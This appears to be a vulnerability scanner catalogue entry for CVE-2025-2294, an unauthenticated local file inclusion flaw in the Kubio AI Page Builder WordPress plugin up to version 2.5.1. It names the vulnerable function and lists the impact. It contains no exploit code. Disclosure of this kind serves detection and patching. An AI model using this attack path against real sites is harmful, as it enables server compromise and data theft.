Kubio AI Page Builder <= 2.5.1 - Local File Inclusion

ID: CVE-2025-2294

Severity: critical

Author: s4e-io

Tags: cve,cve2025,wp,wordpress,wp-plugin,lfi,kubio

Description

The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
